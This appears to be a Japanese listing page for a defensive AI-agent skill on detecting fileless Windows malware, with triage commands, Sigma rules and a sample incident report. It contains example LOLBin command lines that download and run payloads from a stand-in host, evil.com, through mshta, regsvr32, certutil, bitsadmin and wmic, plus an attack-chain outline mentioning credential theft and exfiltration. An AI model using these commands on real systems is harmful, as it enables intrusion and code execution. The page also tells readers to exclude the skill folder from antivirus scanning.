detecting-fileless-malware-techniques について
Windowsシステム上のファイルレスマルウェアを調査する防御向けセキュリティスキルです。LOLBin、WMI、レジストリの永続化検知、メモリ分析、検知ルール作成を扱います。
主な機能
- 01LOLBinの悪用検知
- 02WMI永続化の調査
- 03レジストリ内ペイロードの検出
- 04メモリアーティファクトの分析
- 05Sigma検知ルールの作成
活用シーン
- 01不審なPowerShellの動作調査
- 02WMIを使った永続化の分析
- 03ディスク上にファイルがないマルウェアの調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill detecting-fileless-malware-techniquesインストール後、Claude Code で/detecting-fileless-malware-techniquesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdyara-fileless-powershell.yarscripts/agent.py詳細
ファイルレスマルウェアの手法を検出する
使用する状況
- EDR アラートで、信頼されたシステムバイナリ(PowerShell、mshta、wmic、regsvr32)による不審な挙動が示されている
- 従来型のマルウェアファイルをディスクに残さない攻撃を調査する
- 永続化のために悪用された WMI イベントサブスクリプション、レジストリに保存されたペイロード、またはスケジュールされたタスクを分析する
- エンタープライズ環境で LOLBin(Living Off the Land Binary)の悪用を検出するルールを作成する
- メモリフォレンジックで悪意のあるコードが見つかったものの、ファイルシステム上に対応するファイルが存在しない
使用しないでください:従来型のファイルベースのマルウェアには使用しないでください。ディスク上に存在するマルウェアには、標準的な静的解析および動的解析の手法のほうが適しています。
Windows Defender/ウイルス対策ソフトの誤検知
一部のエンドポイントウイルス対策製品、特に Windows Defender(シグネチャ Trojan:script/Wacatac.H!ml)は、このスキルの SKILL.md を悪意のあるファイルとして隔離する場合があります。これは既知の誤検知です。このファイルは、防御目的の検出と調査のために、ファイルレス攻撃のパターン(LOLBIn、エンコードされた PowerShell、メモリ上の YARA 指標)を意図的に解説しています。内容は教育目的のみで、コードは実行しません。
**隔離された場合:**隔離場所からファイルを復元し、ローカルのエージェントスキルディレクトリを除外対象に追加してください。詳しくは、議論が行われている GitHub issue #100 をご覧ください。YARA 文字列は、スキャナーによる検知を減らしつつ、アナリストがルールを利用できるように、このファイル内にはインラインで記載せず、references/yara-fileless-powershell.yar に格納されています。
前提条件
- Sysmon がインストールされ、包括的なログ記録(プロセスの作成、WMI イベント、レジストリの変更)が設定されていること
- PowerShell のスクリプトブロックログとモジュールログが有効になっていること
- ファイルレスマルウェアのアーティファクトをメモリフォレンジックするための Volatility 3
- システムのアクティビティをリアルタイムで監視するための Process Monitor(ProcMon)
- 十分な保持ポリシーが設定された Windows イベントログへのアクセス
- 永続化の仕組みを特定するための Autoruns
ワークフロー
ステップ 1:LOLBin の使用を特定する
正規の Windows バイナリが悪意のある目的に悪用されていないか検出します:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
ステップ 2:WMI ベースの永続化を検出する
ファイルレスな永続化に使われる WMI イベントサブスクリプションを分析します:
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET
# WMI Event Filter creation (EID 19)
result = subprocess.run(
["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
"/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
capture_output=True, text=True
)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
if not event_xml.strip():
continue
try:
root = ET.fromstring(event_xml + "</Event>")
eid = root.find(".//e:System/e:EventID", ns).text
data = {}
for d in root.findall(".//e:EventData/e:Data", ns):
data[d.get("Name")] = d.text
if eid == "19":
print(f"[!] WMI Filter Created: {data.get('Name')}")
print(f" Query: {data.get('Query')}")
elif eid == "20":
print(f"[!] WMI Consumer Created: {data.get('Name')}")
print(f" Type: {data.get('Type')}")
print(f" Destination: {data.get('Destination')}")
elif eid == "21":
print(f"[!] WMI Binding Created")
print(f" Consumer: {data.get('Consumer')}")
print(f" Filter: {data.get('Filter')}")
except:
pass
ステップ 3:レジストリ常駐型ペイロードを検出する
Windows レジストリに保存された悪意のあるコードを見つけます:
# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s
# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul
# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64
suspicious_keys = [
(winreg.HKEY_CURRENT_USER, r"Software"),
(winreg.HKEY_LOCAL_MACHINE, r"Software"),
]
def scan_registry(hive, path, depth=0):
if depth > 3:
return
try:
key = winreg.OpenKey(hive, path)
i = 0
while True:
try:
name, value, vtype = winreg.EnumValue(key, i)
if isinstance(value, str) and len(value) > 500:
# Check for Base64-encoded content
try:
decoded = base64.b64decode(value[:100])
print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
except:
pass
# Check for PowerShell keywords
if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
print(f"[!] PowerShell in registry: {path}\\{name}")
i += 1
except WindowsError:
break
# Recurse into subkeys
j = 0
while True:
try:
subkey = winreg.EnumKey(key, j)
scan_registry(hive, f"{path}\\{subkey}", depth + 1)
j += 1
except WindowsError:
break
except:
pass
for hive, path in suspicious_keys:
scan_registry(hive, path)
PYEOF
ステップ 4:メモリを分析してファイルレスのアーティファクトを探す
メモリフォレンジックを使用して、メモリ内にのみ存在するマルウェアを見つけます:
# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind
# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"
# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"
# Scan for known fileless frameworks
# YARA rule lives in references/yara-fileless-powershell.yar (kept separate to reduce AV false positives)
vol3 -f memory.dmp yarascan.YaraScan --yara-file /path/to/yara-fileless-powershell.yar
# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)
strings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\.reflection\.'
ステップ 5:包括的な検出ルールを作成する
ファイルレス手法に対応する検出コンテンツを作成します:
# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
category: process_creation
product: windows
detection:
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http'
- 'vbscript:'
- 'javascript:'
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '/i:http'
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/format:http'
condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
product: windows
service: sysmon
detection:
selection:
EventID:
- 19 # WMI EventFilter
- 20 # WMI EventConsumer
- 21 # WMI FilterConsumerBinding
condition: selection
level: medium
ステップ 6:ファイルレス攻撃チェーンを記録する
ファイルレス攻撃のライフサイクル全体をマッピングします:
Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
OR Web exploit -> regsvr32/certutil (scriptlet download)
Phase 2 - Execution:
PowerShell downloads and executes script in memory
.NET Assembly.Load() for reflective loading
WMI process creation for lateral movement
Phase 3 - Persistence:
WMI event subscription (survives reboots)
Registry-stored encoded payload (loaded by Run key)
Scheduled task executing inline PowerShell
Phase 4 - Privilege Escalation:
PowerShell with Invoke-Mimikatz (in-memory credential theft)
Named pipe impersonation via WMI
Phase 5 - Lateral Movement:
WMI remote process creation (no file transfer needed)
PowerShell remoting (WinRM)
PsExec via WMI
Phase 6 - Exfiltration:
PowerShell HTTP POST to C2
DNS tunneling via Invoke-DNSExfiltration
Cloud storage API (OneDrive, Google Drive)
主要な概念
| 用語 | 定義 |
|---|---|
| ファイルレスマルウェア | ディスク上に従来型の実行ファイルを作成せず、完全にメモリ内で、または正規のシステムツール内で動作するマルウェア |
| LOLBIn(Living Off the Land Binaries) | アプリケーションの許可リストを回避しながら悪意のあるコードを実行するために攻撃者が悪用する、正規のシステムバイナリ(mshta、regsvr32、certutil) |
| WMI イベントサブスクリプション | イベントフィルター、コンシューマー、バインディングを使用して、システムイベント発生時にコードを実行する Windows Management Instrumentation の永続化メカニズム |
| レジストリ常駐型ペイロード | Windows レジストリの値にエンコードされたデータとして保存され、Run キー内の小さなスタブによって読み込まれ、実行される悪意のあるコード |
| リフレクティブローディング | ディスクに書き込まずに、Assembly.Load() を使用してメモリ内のバイト配列から .NET アセンブリまたは PE ファイルを読み込むこと |
| メモリ内実行 | プロセスインジェクション、リフレクティブローディング、またはスクリプトインタープリターを活用し、ファイルを作成せずにコードを RAM 上で直接実行すること |
| スクリプトブロックログ | スクリプトの難読化解除後に内容を記録する Windows PowerShell のログ機能(イベント ID 4104)。ファイルレス脅威を可視化するうえで不可欠です |
ツールとシステム
- Sysmon:プロセスの作成、WMI イベント、レジストリの変更、ネットワーク接続を詳細に記録するシステムモニターです
- Autoruns:WMI サブスクリプション、スケジュールされたタスク、レジストリエントリなど、すべての自動起動場所を表示する Sysinternals ツールです
- Volatility:メモリ内のコード、インジェクションされたプロセス、ファイルレスマルウェアの痕跡を検出するためのメモリフォレンジックフレームワークです
- Process Monitor:ファイルレス攻撃の挙動を観察するために、ファイルシステム、レジストリ、プロセスのアクティビティをリアルタイムで監視します
- LOLBAS Project:https://lolbas-project.github.io/ にある、LOLBin の悪用手法をコミュニティが記録したカタログです
よくあるシナリオ
シナリオ:WMI 永続化を利用したファイルレス攻撃の調査
状況:Sysmon のアラートにより、WMI イベントサブスクリプションの作成後、ディスク上に対応するマルウェアファイルが存在しないまま、PowerShell が定期的に実行されていることが判明しました。攻撃は再起動後も継続しています。
アプローチ:
- WMI 名前空間を照会してイベントフィルター、コンシューマー、バインディングを調べ、永続化の仕組みを特定します
- CommandLineEventConsumer または ActiveScriptEventConsumer のペイロードを抽出します
- PowerShell コマンドをデコードします(通常、-enc フラグを使用して Base64 エンコードされています)
- Script Block Logging(Event ID 4104)で PowerShell の実行を追跡し、難読化解除後のペイロード全体を確認します
- メモリダンプを分析して、リフレクティブに読み込まれたアセンブリとインジェクションされたコードを調べます
- PowerShell スクリプトが参照する追加のペイロードがレジストリに保存されていないか確認します
- 初期アクセスから永続化、ラテラルムーブメントまでの攻撃チェーン全体をマッピングします
注意点:
- インシデント発生前に Sysmon の WMI イベントログ(Events 19/20/21)を有効にしていない
- メモリダンプを取得する前にシステムを再起動する(メモリ内の証拠が失われます)
- 攻撃が完全にファイルレスであるにもかかわらず、ファイルベースの IOC だけに注目する
- LOLBin の実行が痕跡をほとんど残さないため、初期アクセスの経路を見落とす
出力形式
FILELESS MALWARE ANALYSIS REPORT
===================================
Incident: INC-2025-2847
Attack Type: Fileless (no malware files on disk)
INITIAL ACCESS
Vector: Phishing email with macro-enabled document
LOLBin Chain: WINWORD.EXE -> mshta.exe -> powershell.exe
PERSISTENCE MECHANISM
Type: WMI Event Subscription
Filter Name: WindowsUpdateCheck
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 300
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer: CommandLineEventConsumer
Command: powershell.exe -nop -w hidden -enc <BASE64_UTF16LE_PAYLOAD>
DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42
REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script
MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
- CobaltStrike beacon detected via YARA
- C2: hxxps://185.220.101[.]42/updates
EXTRACTED IOCs
C2 IP: 185.220.101[.]42
WMI Filter: WindowsUpdateCheck
Registry Path: HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc
MITRE ATT&CK
T1059.001 PowerShell
T1546.003 WMI Event Subscription
T1218.005 Mshta
T1112 Modify Registry
T1055.012 Process Hollowing